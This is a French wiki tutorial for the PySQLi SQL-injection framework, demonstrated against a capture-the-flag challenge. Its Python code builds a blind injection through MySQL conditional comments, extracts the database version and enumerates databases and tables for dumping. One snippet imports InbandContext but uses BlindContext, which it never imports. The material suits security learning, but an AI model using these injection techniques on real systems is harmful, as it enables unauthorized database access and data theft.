-
Notifications
You must be signed in to change notification settings - Fork 36
Premiers pas avec PySQLi
PySQLi est un brin complexe à appréhender, mais fournit des briques assez simples permettant de créer des exploits sur mesure.
Le contexte d'injection est un élément clef du framework: c'est lui qui définit la manière dont le framework va générer le code SQL nécessaire à l'injection, et comment celui-ci va se comporter. Le contexte d'injection est défini par la classe Context
, et par deux classes dérivéees, BlindContext
et ̀InbandContext`.
La classe Context
accepte un ensemble de paramètres permettant de définir la manière à utiliser pour injecter du code. Nous allons aborder les paramètres les plus utilisés.
Prenons le cas du niveau 3 du challenge hackit de sh4ka, dans lequel une injection blind peut être réalisée via des commentaires conditionnels propres à MySQL. L'injection doit être réalisée dans un cadre bien particulier, avec un motif précis à respecter. Il faut donc définir le contexte adapté. Les contraintes suivantes sont présentes:
- injection dans un commentaire conditionnel, typiquement
/*! code SQL */
- injection dans un champ entier
- injection de type blind
- injection réalisée sur une base de données Mysql version 5
- on ne doit pas insérer de commentaire en fin de requête générée
On définit le contexte suivant:
from pysqli import InbandContext, Mysql5
from pysqli.core.triggers import RegexpTrigger
c = BlindContext(
url = 'http://level3.hackit.sh4ka.fr/index.php',
field_type = InbandContext.FIELD_INT,
params = {
'id':'/*!SQLHERE*/',
},
target = 'id',
smooth = True,
comment = '',
default = 1,
)
La configuration ci-dessus du contexte d'injection est un peu particulière, car elle repose sur un mode d'injection appelé smooth. Normalement, lors d'une injection standard, l'intégralité du contenu du paramètre est modifié. Dans le cas des commentaires conditionnels de MySQL, ce type d'injection n'est pas possible et il faut insérer le code SQL généré à un endroit précis. C'est l'objectif du mode smooth: le paramètre cible doit contenir le texte SQLHERE, qui sera remplacé dynamiquement par le code généré.
L'argument params est un des arguments clefs de PySQLi: il contient l'ensemble des paramètres manipulés lors de l'injection, et notamment le paramètre précisé par l'argument target. Le paramètre params peut être soit un dictionnaire, soit une liste, dans ce dernier cas l'argument target doit contenir un entier indiquant l'index du paramètre cible dans la liste fournie.
On teste ce contexte en extrayant la version de la base de données. Pour cela, on prend soin de paramétrer le trigger de l'injecteur par défaut afin que le terme 'Il y a eu un souci' soit associé à une erreur SQL produite par le code injecté:
db = Mysql5.get(c)
db.get_injector().set_trigger(RegexpTrigger(
'<hr>Il y a eu un souci',
RegexpTrigger.MODE_ERROR,
))
print 'Database version: %s' % db.version()
Il faut noter aussi l'appel à la méthode get()
de la classe Mysql5, qui génère et configure automatiquement un injecteur utilisant la méthode GET via des requêtes HTTP. La seconde ligne permet de déclarer un nouveau trigger détectant une erreur lors de l'injection. La dernière ligne extrait la version à partir du contexte configuré:
Database version: 5.1.63-0ubuntu0.10.04.1
L'objet db
instancié dans notre code est une abstraction de la base de données, et permet d'accéder aux différentes bases et tables présentes, ainsi qu'aux données même.
Cette abstraction permet d'énumérer les bases de données, les tables appartenant à chacune de ces bases, et de dumper l'intégralité de leurs contenus. Pour cela, la méthode databases()
permet de lister l'ensemble des bases de données:
for database in db.databases():
print database
Chaque élément retourné par l'appel à databases()
correspond à un objet fournissant une abstraction de la base de données elle-même. On peut donc énumérer l'ensemble des tables présentes dans la base de données retournée:
for database in db.databases():
print 'DB: %s' % database
for table in database.tables():
print ' -> %s' % table